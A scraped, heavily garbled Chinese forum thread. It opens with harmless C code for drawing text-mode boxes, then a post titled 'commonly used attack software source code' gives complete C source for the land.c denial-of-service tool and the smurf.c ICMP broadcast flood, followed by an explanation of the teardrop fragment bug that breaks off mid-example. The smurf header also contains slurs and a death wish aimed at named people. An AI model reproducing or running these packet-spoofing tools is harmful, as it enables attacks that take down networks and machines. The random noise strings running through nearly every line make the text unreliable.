, Y! `% V+ _+ u8 L, W' i( ^box(8,8,9,65);& x* @4 ~, p+ _$ }; ?2 r: r- M" f
box(9,9,7,63);1 W# i+ g* Q; L9 l. y1 Z& y, a; @+ u
box(10,10,5,61);- r5 q; `: d+ Y0 }7 v
box(11,11,3,59);& q; P1 d# B) P, E
box(12,12,1,57);) I7 f! q6 k# i
poscur(24,1);
4 k7 x/ W: k# [+ Z# Q}</FONT></P><><FONT color=#009900>/************************************************************* O$ b8 E/ Z8 b, S
* BOX *
6 b5 c% C9 u; R. s; P*----------------------------------------------------------*
/ \2 k( `: x& H$ [. l* Written by: Jeff Ebert 7/01/87 *
/ I  \: e& D# c% p2 {  G* Modified by: xxxxxxxxxx *
7 @4 H" W- m, Y0 A7 [+ ?. A* */ ?' P! p! x, w$ N3 ~0 ~: s0 s
* Please modify me! *
7 G  R5 {" z' Z+ l& }- b0 x$ k+ r* Possible Enhancements include but are not limited t *
/ c4 d1 q% X6 y& n6 w- F6 b! ]$ m* 1) Variable box character styles [1 line or 2] *
! s4 T9 m* X7 q  V* 2) Error checking *: X  q2 [; L; G; p' m
* 3) Color options *& K$ U. l0 `. R% {2 _. Q
* *
5 p7 m% g7 {1 }8 j# f, F$ s* *
+ P% n" |2 U$ M. a- B8 X9 t* This function builds a simple double frame for a menu. *5 S# F+ x& g4 ^7 ?! |
* The function is passed the parameters for the upper *- u( |. ^  P2 O) |% [1 @
* left corner row, upper left corner column the height *
6 w% \9 H7 C0 t/ F* of the frame and the width. *
$ ]& N6 a1 Y* p- C5 K8 t* *
  s6 [  ?8 U- J# y************************************************************/
/ R: p0 ?# l- |7 Y' m' m#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
& v( L9 m( L1 J9 D5 h0 ], N#define URCOR 1873 N6 y- R; G+ d
#define LLCOR 200. s) [4 z' m4 C, N' V# h
#define LRCOR 1889 q, \' [: N9 N4 Y) b% x! J1 V! j' w
#define VBAR 186! t7 d! I" N' K% o6 D6 O6 [
#define HBAR 205
8 a  f! C, b2 f#define ESC 27</FONT></P><><FONT color=#009900>
2 U2 ?" @$ w$ Cbox(row, col, hgt, wdth)
# a. u6 A2 c% i/ Tint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{% w) E8 }5 U3 \' H) T
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);) Y$ K" n7 M5 H3 g  Z% [0 v
putchar(ULCOR);7 S; `, z" P3 l9 h, I% h% N, `
for(x = col + 1; x &lt;=(col + wdth -1); x++)
& l9 j5 P/ I, Gputchar(HBAR);8 g" w: l, H- e9 a8 D
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
5 ^  O7 \- l/ Y. [; ?9 iposcur(x,col);6 ]3 I0 W* a$ o; G# i# t' u
putchar(VBAR);& y0 h2 b$ ~7 ?: f3 a# V0 b
poscur(x,col+wdth);
0 R8 p" c$ r  X. Q! F8 Lputchar(VBAR);! M' K- Z6 q: b6 T
}
, y& o' e" a. }, Y4 p$ oposcur(x,col);
/ _8 U# H' c3 h  `9 V4 w/ ?$ Y) wputchar(LLCOR);
' ~- m/ F/ J6 s) R* ]for(x= col + 1; x &lt;=(col + wdth -1); x++); q  H) k8 I3 x  P: ^* [% D1 m$ Y
putchar(HBAR);
8 L6 A$ {5 k# C8 aputchar(LRCOR);
0 P6 y$ P+ S3 J+ g# {/ E}</FONT></P><><FONT color=#009900>/********************************************************2 X# s- }7 z3 }: n( g/ e" }
* POSCUR *% P4 {/ A" i7 f5 b$ \4 v
*------------------------------------------------------*+ w) A3 m& Y) O- o. f  v
* This function positions the cursor at the specified *) E4 e7 [- _' J9 b0 H3 p+ k6 D
* x,y coordinate. It uses the ANSI standard ESCAPE *+ ^9 f8 W- F1 y. h
* sequence to produce the desired effect. Its not the *
9 l4 `* I. A. e& r# W( k: T* fastest way to position the cursor, but perhaps the *0 E- P# u% P$ |9 V
* most portable. *
3 H! U  @3 }3 v* *
) ~( ~8 x2 \) {8 d8 D! r' L$ `8 ]0 [' D********************************************************/
8 I0 r( u" ~1 T% t1 e. Z8 dposcur(xcor,ycor)
1 w& [, [, e4 A+ w# t5 Iint xcor,ycor;
/ g( }; x9 y5 p8 r8 w+ }" f{
. m7 m; }1 n, ]# ]0 l+ ]# vprintf("%c[%d;%dH",ESC,xcor,ycor);( B2 o5 l) W/ K- ?) G, ~" |/ k
}</FONT></P><><FONT color=#009900>" d  g. m" R* H" R+ @8 S3 B9 @
/********************************************************6 N! n+ o: p" M: N$ G! w) L
* CLRSCR *
  o6 {5 f- U: z9 ?: x*------------------------------------------------------*+ `2 T5 f* W9 F2 Z
* This function positions the cursor at the specified *; X8 J6 b" b4 ]. T
* x,y coordinate. It uses the ANSI standard ESCAPE *- \1 J3 z# ~. Z0 D3 w
* sequence to produce the desired effect. Its not the *
- F/ p/ `3 g. U( |, e( L: J* fastest way to position the cursor, but perhaps the */ s- p0 B; H5 r, b
* most portable. *
  _( ^0 h1 Y  X! C* *
' b2 O: c0 k+ n9 G********************************************************/
5 X2 K% j$ J+ h: h4 y# u) cclrscr()' d5 \/ g, g4 L* G3 F
{
* S' m; L1 F* Aprintf("%c[2J",ESC);4 u7 ]+ q/ \) \. F
}</FONT>1 {$ h+ k4 z9 G9 B
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract! _: B! a9 W! m/ y$ a& M' ]
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自( d9 E& ^5 u2 x# f( X8 c
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>& Z. V( M* W. P  Z8 Q, z# r% O0 w9 E6 q
<FONT color=#009900>/* land.c by m3lt, FLC
/ W/ [6 b/ X# @1 G) b7 ]) x6 t* s* ccrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
- Z. g/ v: U& w#include <NETDB.H>
8 r8 Z% Q. h* }1 W" N# G#include <ARPA inet.h>- l, W& P6 y1 j: [" g
#include <NETINET in.h>6 y' [8 D0 H% I4 t
#include <SYS types.h>9 ~0 L" h- W5 q
#include <SYS socket.h>
2 |+ O0 o7 q8 F& f# G  O/ k#include <NETINET ip.h>+ t, `9 y, @% n1 F# R4 c4 k
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头4 M/ ]* s, i' g0 a# l. h* L0 \
struct pseudohdr+ j, f! A3 b6 S* a, o! Z
{0 q! Z. J! T& `( t* K' I
struct in_addr saddr;
3 [1 H5 X" S3 @- L) F' @% z* ~2 o* Qstruct in_addr daddr;2 ?5 k9 \  P4 W1 C0 z4 J* I* C
u_char zero;: l: g9 \6 S  U5 A3 k
u_char protocol;
+ t0 r/ `* U2 m) Y; Vu_short length;
8 ^$ r+ o! q# N2 n' rstruct tcphdr tcpheader;
, T3 F1 O' @5 j/ @9 B};</FONT></P><><FONT color=#009900>//计算IP校验和' ?- T  h# W' s( C: W5 m4 d  n
u_short checksum(u_short * data,u_short length)( T# P5 r* Q7 y$ J4 c
{
/ T* u- p  B) ]4 r- A( l7 h+ k1 v+ J( bregister long value;/ O7 W- m; h: K% W' x. _
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)# T" j, ^8 n: X- \% R) ^& g. z) C
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)0 ^/ [2 x% D; r! R# W6 Z. w) S; Q
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);0 a! j  Z' m( J# B" Z
}</FONT></P><><FONT color=#009900>  d; k4 V! ?5 X6 L
int main(int argc,char * * argv)
) S, |/ T! O1 H# J, p. i, g3 n) J{
/ `; x" n  p8 r2 |# bstruct sockaddr_in sin;/ Q$ i6 i0 x; ~# }
struct hostent * hoste;( |1 _1 d, r7 O- h9 A/ }7 k
int sock;
$ B: V0 V4 }" t2 \+ {8 i" t4 p- ychar buffer[40];2 J8 u. z. Z) L0 F) k
struct iphdr * ipheader=(struct iphdr *) buffer;( l, x0 S& p2 n3 ]6 }0 {; X
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));7 B; ~$ R$ W! X( p" ?: E6 S
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)& g& w4 ^+ T. j5 F
{
" M0 O& w# o* u$ d  Efprintf(stderr,"usage: %s IP port\n",argv[0]);
7 ?3 r6 ^$ N+ V7 T9 @return(-1);
, F# i# m9 y  K- l}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
3 y! u' W6 A- i, A5 ~sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)! n9 m- r1 C, C: ?) j; O$ ^$ w$ G  Z
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);0 F* m+ V3 S4 X( c
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
9 O. n  Z: q( a# O; A{
$ ^  D5 z0 G! \6 Z( B6 nfprintf(stderr,"unknown host %s\n",argv[1]);3 b% ~. ?  n- z
return(-1);
5 U% @2 }5 l( h. ?2 K}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
9 W; B( \7 T4 U" t5 N8 G{
( o4 W! P$ O- j0 A2 kfprintf(stderr,"unknown port %s\n",argv[2]);( x6 D! o& ]7 _8 Q. j
return(-1);: }) N5 p' @3 x6 m3 ]
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
+ }" @2 G* u& v- g- G* `: V- Z9 J1 Gif((sock=socket(AF_INET,SOCK_RAW,255))==-1)# X; Z8 ]& D) k5 w
{
" v5 V  s1 Q3 R) K0 Afprintf(stderr,"couldn't allocate raw socket\n");' E( c# z) V; C; y  x
return(-1);, p' o, k( X8 i; k* j" q6 U
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));, R# E' r, w$ R+ k& w
ipheader-&gt;version=4;
  `/ d  D$ C9 A( o) qipheader-&gt;ihl=sizeof(struct iphdr)/4;
) t4 y/ S. G3 j5 h0 F+ ripheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));3 b$ i/ u0 [! F' ~1 \, {
ipheader-&gt;id=htons(0xF1C);, r0 @9 K, ^) w" c, y" g; A
ipheader-&gt;ttl=255;
! G2 N; Z9 w! g. N7 H9 jipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同7 {# [. k9 V: G% Y6 f/ k
ipheader-&gt;saddr=sin.sin_addr.s_addr;
% n  E1 _( m, Y5 g+ H: ~4 p! ^ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同8 J5 B$ C0 U8 l7 E
tcpheader-&gt;th_sport=sin.sin_port;
) F$ i9 o1 v! K  rtcpheader-&gt;th_dport=sin.sin_port;
6 u- w5 \& H" o( m. Q4 ~1 `# m8 ltcpheader-&gt;th_seq=htonl(0xF1C);
1 F& J% y# [( s& Y/ W, jtcpheader-&gt;th_flags=TH_SYN;& U# U9 n! L# ]$ L
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
) X) {! y9 J* q& r' ltcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));2 t; F& P  y, D. M0 m
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
8 D% w3 n8 Z8 Cpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;# J/ t& N" X' r" m  l4 A
pseudoheader.protocol=6;
6 O2 o3 T+ n- G4 w5 G# s9 Ypseudoheader.length=htons(sizeof(struct tcphdr));# v& T6 @' x3 D9 t4 q9 F' W( C
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
2 ?) q. v* j2 B, z# V* atcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
. x+ l+ J. [: c/ A& d! ^0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)3 x6 C" X) r! N# B- r" _* a. Q
{
3 X0 F- H" r& i: Y: f( [7 |fprintf(stderr,"couldn't send packet\n");& Y; P! q: S( Q! k2 G, n- W
return(-1);* a8 A3 k8 j+ X" Z, `6 _0 D
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);: o+ Q! Q3 c0 B5 B
return(0);
5 c% D: ?) b9 [1 S}</FONT></P><>
5 }# H$ |+ C3 V2 Smurf" C4 q: h! r9 S7 U/ `
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
6 @6 @8 G( ~. v% f1 c( f据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
' T* W  i2 A2 t$ c的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些( h. i2 P) H2 s- K
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
$ e* X* K$ m8 s(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变7 I' C& x" `/ R  [
成不可能(没有WINS服务器时)。</P><P>/*
7 g5 Q, Q3 i$ F$ J/ [*
" m9 R1 U9 I. g. [9 u* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $2 u) I+ ^1 N# _+ b6 F* q2 K
*
6 Q: |) J% o/ d- L1 }* spoofs icmp packets from a host to various broadcast addresses resulting
/ ^( i5 A0 k% ?- U! n6 [  a: A* in multiple replies to that host from a single packet.% Q$ A3 [1 R. c9 G2 Z
*3 N4 l' ]- p* k9 e) K* a
* mad head t/ ~# d1 s3 M/ s, ], V& Y
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig," F0 j! b) m/ Y  {" |5 I: f- Y* B
* MissSatan for swallowing, napster for pimping my sister, the guy that6 V; m5 L1 ]3 C/ ^
* invented vaseline, fyber for trying, knowy, old school #havok, kain
$ c; p3 p9 j6 L; ^/ l3 }+ l* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
; k& R5 R$ S7 N6 L* W5 D* have missed (you know who you are).
9 J) l3 ^1 y. E$ G2 j*; W  y# f4 O! a
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
3 a2 G5 k# A( n: I* thing he is (he's -almost- as stubborn as me, still i managed to pick up
% w% ~  Z! X" f' I$ Z/ @9 L  A* half the cheque).1 _, P/ i. M) H  ]" h# A9 n" ^9 R
*
( ?) d) U0 N: J7 Q; W: s) T: j* and a special hi to Todd, face it dude, you're fucking awesome.
& x  R7 c( Y- w! P/ S*' N; Z2 _* B" ^
* mad anal t. Q' ^5 J4 X$ H" d% U$ n
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps! {. d: `  S  p: O8 U) v2 Q8 w" \1 Y
* because they plain suck, Rolex for being a twit, everyone that
! E4 O9 n% L+ s2 h- A* trades warez, Caren for being a lesbian hoe, AcidKill for being her
. T* a# o- A7 s/ w4 j* partner, #cha0s, sedriss for having an ego in inverse proportion to) [! b& [  ^( q2 W6 i+ D
* his penis and anyone that can't pee standing up -- you don't know what
; l, i( `3 i) I+ m- y1 K5 g* your missing out on.
) r$ S, m, U" ?) F0 a) U1 d*
8 `! z' j! Z/ i4 S. v3 Y* and anyone thats ripped my code (diff smurf.c axcast.c is rather. r7 @6 P* a5 p* {6 {! _
* interesting).
: P# d- s# P8 ]2 M( G8 Y*
, _5 y8 l  E) S* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill0 u. Q! A( J% h0 H( g
* Robbins for trying to steal my girlfriend. Not only did you show me
% E1 L: L6 u% H& ^; t8 e/ {  m* no respect but you're a manipulating prick who tried to take away the3 h0 X6 X$ h3 s1 ?& O1 M
* most important thing in the world to me with no guilt whatsoever, and" E6 U2 S7 b4 E/ n+ E$ f; B; l% M
* for that I wish you nothing but pain. Die.. i; _+ ?8 Z7 w: R
*
" y- i2 L9 f8 {" \* disclaimer:
" s% Q, A  ^) M8 P* I cannot and will not be held responsible nor legally bound for the
1 y( X8 K; Z# g8 X* V: @* malicious activities of individuals who come into possession of this
" O5 H. P1 v+ e+ Z5 K  `* program and I refuse to provide help or support of any kind and do NOT& S; G0 F1 E& Z, W) o' U
* condone use of this program to deny service to anyone or any machine.
1 o! n8 F9 e& E0 K4 a* This is for educational use only. Please Don't abuse this.
% J: o$ l; g4 b1 }  L8 ]*
5 t1 f' ~7 Z+ L8 Z* j* Well, i really, really, hate this code, but yet here I am creating another. l- E% x6 M- H4 G
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
6 P% {1 t# I$ W$ }* like most programmers don't like seeing bugs in their code. I saw a few; ?! Z) V5 [# j- w
* things that should have been done better or needed fixing so I fixed
& r- B, N/ L  R- z6 X* them. -shrug-, programming for me as always seemed to take the pain away
) E1 @- ^6 C! B* e/ T+ Z5 K0 G* ...% j0 m1 x6 H0 M
*
& E2 H, O6 d: h$ b; J- g*/ X1 Q0 o1 O2 |% ]4 E
*/</P><P>#include <SIGNAL.H>
3 p# g' h, Y* _9 [6 i* V#include <STDIO.H>- X. c6 v% y& w3 `6 z( {0 j6 L
#include <STDLIB.H>- D  E# m4 M0 z9 ]
#include <SYS socket.h>
$ b0 X! B% \( g3 u! T#include <SYS types.h>' T9 c( ]0 M, \; S
#include <NETINET in.h>
5 t, C2 E' `1 f, Q; L5 f; L#include <NETINET ip.h>2 w% b/ i* {* i7 q* X  t3 ]
#include <NETINET ip_icmp.h>, M. e& }: @9 }, S$ K
#include <NETDB.H>& u2 b5 [4 A) J* u- D8 E7 h
#include <CTYPE.H>, [2 `% V' h4 K
#include <ARPA inet.h>4 |5 ]% D) E9 g
#include <UNISTD.H>- T7 ?. i$ M' F( E" S
#include <STRING.H></P><P>void banner(void);
7 u% k4 P2 r! R- Q# W, Q* d8 ^void usage(char *);+ h: \( p; n+ Z3 t& {8 J) t5 D, v
void smurf(int, struct sockaddr_in, u_long, int);
5 t& |, e; H% ^4 e3 i; m3 H* Pvoid ctrlc(int);
/ H5 l9 c. j7 R& @unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
; r: p. ?( z7 e3 ?* uchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
; ~. Y0 v4 ]7 w; K# m; W& l{
  [+ V6 g* x- N: V3 M. \# Hstruct sockaddr_in sin;7 `8 l4 J5 G% P' r; M0 a4 H
struct hostent *he;  s0 F. D. B0 \/ \
FILE *bcastfile;4 ~' S7 L3 M6 y  u9 O( c2 w  A
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
3 N! F# O: A) C" [: m) |% W( `+ Z: o# Hchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();/ y3 Z7 J% S* R4 x0 i8 y
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
* _  C/ ?* R7 L  |% Aperror("resolving source host");
" a2 d, a) @! X8 |- q5 B8 _( `exit(-1);+ O$ d2 i+ W3 Z) a
}2 Q5 l+ [) g) A/ c" w' D
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);( u& |+ p$ r" Q4 M
sin.sin_family = AF_INET;6 C3 B3 `+ U& N" S  ~, X
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);1 p9 R6 q* J& Z* v
delay = atoi(argv[4]);2 _; l! U. p0 F# T2 J
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {( k( [6 v) V8 M$ M. e
perror("opening bcast file");2 M: B7 H: T: `! m; i8 C7 C
exit(-1);* H( V7 e$ S( S5 \! E- ?
}
5 _6 M6 _4 T4 M3 r# `! w" nx = 0;, `. V! w! O% V, e" F( }  N. \
while (!feof(bcastfile)) {
  p2 g% j4 v- u( Q/ v" Q" Dfgets(buf, 32, bcastfile);
" R6 H9 l" u0 q% \if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;6 @2 _0 q$ J& ^/ f0 J1 F7 w0 r
for (i = 0; i &lt; strlen(buf); i++)8 R' t. v( |9 \: O
if (buf == '\n') buf = '\0';
6 x2 c  T( ?( W) y1 Z9 h, t/ [3 Nbcastaddr[x] = malloc(32);
2 x7 t: I6 `/ Y4 T$ X7 ]) J) wstrcpy(bcastaddr[x], buf);; p0 y7 b$ W5 t6 U% q4 g0 `/ D
x++;
( d9 H6 Z+ @5 @/ [% c& l}
- D7 d8 A' ^. ^7 f# Kbcastaddr[x] = 0x0;
3 V1 F9 V, t, u  Hfclose(bcastfile);</P><P>if (x == 0) {
; d5 {$ k# j+ z0 {( Dfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);9 a. g' C: B0 ]3 S3 q6 h- n) O
exit(-1);
# \9 J- k0 q. \}
4 `9 H1 E3 x2 w8 L+ _% n3 {7 J- ?if (pktsize &gt; 1024) {
( k" ]1 Q% y7 Y! c" p  [fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");( j" n/ B0 t, s$ T
exit(-1);
! a. |6 n7 F" e# l+ g  v}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {5 I! v+ w7 z2 p
perror("getting socket");
3 B% P, I+ ]5 a+ M6 p9 p: ]& Zexit(-1);
1 k4 s1 ^$ T, S& t}. R; \  B/ ?; P, P, Q7 F
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {3 G) E1 I2 u+ z- C, I
if (!(i % 25)) { printf("."); fflush(stdout); }8 I; E( G2 I! Y4 u' |/ n2 N
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);; B5 b4 g2 n% i0 H" t
cycle++;
# z( U4 E+ y$ b+ I7 T. @3 mif (bcastaddr[cycle] == 0x0) cycle = 0;
5 B. Y( e4 W) W$ z/ P; {usleep(delay);
! b# L4 ~5 f1 U& W: a/ `5 l, Z6 \}7 T( b" W7 s/ y6 z
puts("\n\n");* F0 Q* A3 E' ~2 h! H
return 0;
! w; _7 @9 ^( m+ p& m}</P><P>void banner (void)! u+ v2 {* X- h: y) A9 J% h6 J" w
{
) U7 G, K6 v2 A$ ]( T2 ^/ G0 }puts("\nsmurf.c v4.0 by TFreak\n");. |' s. J$ _' m$ ~+ o( [+ d* n: T
}</P><P>void usage (char *prog)2 @+ i5 J5 F- T4 f! w5 y2 \, I
{) ?+ Q" w  q6 q( L/ p% z
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
3 n9 {7 x0 }' e" |"<NUM packets> <PACKET delay><PACKET size>\n\n"
% G" {% Q) G/ O, Q4 v"target = address to hit\n"8 e& p2 C  f% T7 J$ ^
"bcast file = file to read broadcast addresses from\n"
5 e' m/ j* @+ ?- ["num packets = number of packets to send (0 = flood)\n"6 w% P% ?( _0 ^' R0 G
"packet delay = wait between each packet (in ms)\n"
% W. g) y/ x6 o- E+ |# ^"packet size = size of packet (&lt; 1024)\n\n", prog);
2 L2 g2 n- Y# b6 \6 vexit(-1);
: y! w( |! G( U}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
8 O* E" c  O' l: t{
8 S/ |$ y1 B+ M; n* ]struct iphdr *ip;1 J" ?2 k) Z  Q. m. D9 m0 z  Z
struct icmphdr *icmp;1 h- H4 ]) C; Z4 {, z5 W
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);# D0 V: m, V6 F4 K" O/ l+ i9 R
ip = (struct iphdr *)packet;+ n  [1 b! Y6 {3 {
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
+ U5 J% p, I% Q- [. P) Hip-&gt;ihl = 5;
& g, A! W  \4 {4 ?ip-&gt;version = 4;' d% t  X2 V0 h) _. C
ip-&gt;ttl = 255;& n% Z0 L3 @+ {
ip-&gt;tos = 0;2 {: U9 M+ s1 F
ip-&gt;frag_off = 0;
4 \9 E; Z& H9 ?4 R+ q2 pip-&gt;protocol = IPPROTO_ICMP;
% B& v4 T6 G+ O/ j2 C7 q5 Pip-&gt;saddr = sin.sin_addr.s_addr;
, X: c; N* J$ [' l( gip-&gt;daddr = dest;
# b  P) v, o0 M) F5 Xip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));% x% u7 s/ V8 a+ ?) g$ X5 [- S
icmp-&gt;type = 8;: v0 U. u& t1 p; }7 |' S
icmp-&gt;code = 0;+ x& Z  @# u2 Z" J2 h6 G4 \8 E
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,: X. h' u1 o4 V9 t; y
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */9 X" E8 d8 F8 @" n$ X( m
}</P><P>void ctrlc (int ignored)
( O8 |4 G2 S: n{2 t; P5 a4 W- N8 `9 W$ S1 q
puts("\nDone!\n");
# ~! M& G5 n6 \, P: }exit(1);
% t% }5 T+ P( @# a$ _" G" K}</P><P>unsigned short in_chksum (u_short *addr, int len)2 X6 B5 S; K! x3 v
{
( x7 l2 o. o+ q7 Tregister int nleft = len;
% ^. i4 R) y9 R' B5 f1 s9 fregister int sum = 0;& m: ]; ?: m* y
u_short answer = 0;</P><P>while (nleft &gt; 1) {
! O3 ]* e' H3 K" Jsum += *addr++;: P7 j& S# p+ |3 c$ H
nleft -= 2;4 x1 e* }! F7 ]8 B: M! |
}</P><P>if (nleft == 1) {
  ]8 c4 V0 c0 J*(u_char *)(&amp;answer) = *(u_char *)addr;
! R/ L, Y' t6 Msum += answer;2 G! @2 f. H+ d$ t$ Y
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);+ {" h# x$ C% [* w$ a& Z+ O! o
sum += (sum &gt;&gt; 16);
4 F4 n" p1 K8 \" fanswer = ~sum;$ _. ?& x4 J# R- g& w% k
return(answer);
. E2 O3 K, h% W0 w! S+ g; o}</P><P>
. s$ V/ n0 l( W3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:: j' d4 v, ], T
fp = qp-&gt;fragments;
- n- q3 |7 D; m9 f  N2 Ywhile(fp != NULL)& W4 e, }! T. K" g+ i
{
3 Q0 b4 k# W( aif(count+fp-&gt;len &gt; skb-&gt;len)4 A8 ]0 D) Z( x* g9 c+ q
{; Q6 p8 G( }4 v3 n% k! x( y
error_to_big;
( _' B) T! b2 e0 |! K}
0 @: t, ~* ^2 m2 C) ?5 ?: rmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);+ \* O' n  _0 ?9 _; `5 W
count += fp-&gt;len;
2 }% d4 [: ~' Q+ ?' }fp = fp-&gt;next;6 R6 a. z/ G4 p( i: G7 F' ]+ E
}
3 U. U5 O/ @( Z这里只检查了长度过大的情况,而没有考虑长度过小的情况,
* g' d: Y8 m/ M4 F+ {如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:  W7 D& u# n6 i7 e8 u
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)) e9 B; r2 k% i) f5 L
是这样处理的:! a- O# N3 }; R# m" D1 f
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
" O  ~, [8 Y) |9 f* k{% Z' N7 B  `8 @5 i
i = prev-&gt;end - offset;2 ?/ N* J, O6 k9 w
offset += i; /* ptr into datagram */
/ s1 C7 k) B8 X1 Q3 q3 s4 b2 yptr += i; /* ptr into fragment data */; k. W5 o/ L; z7 M' g/ J
}</P><P>/* Fill in the structure. */" W- S( B3 O8 Z  t& x2 h6 P) C( ^
fp-&gt;offset = offset;
) K, a" K" z' W) V: Y! Rfp-&gt;end = end;
; B! h/ Y; M: E" d& _; qfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
3 V, [. c' I& l6 }3 \第一个碎片:mf=1 offset=0 payload=20/ }1 m. @3 a5 }. }, w1 t$ j; L- P7 I, T
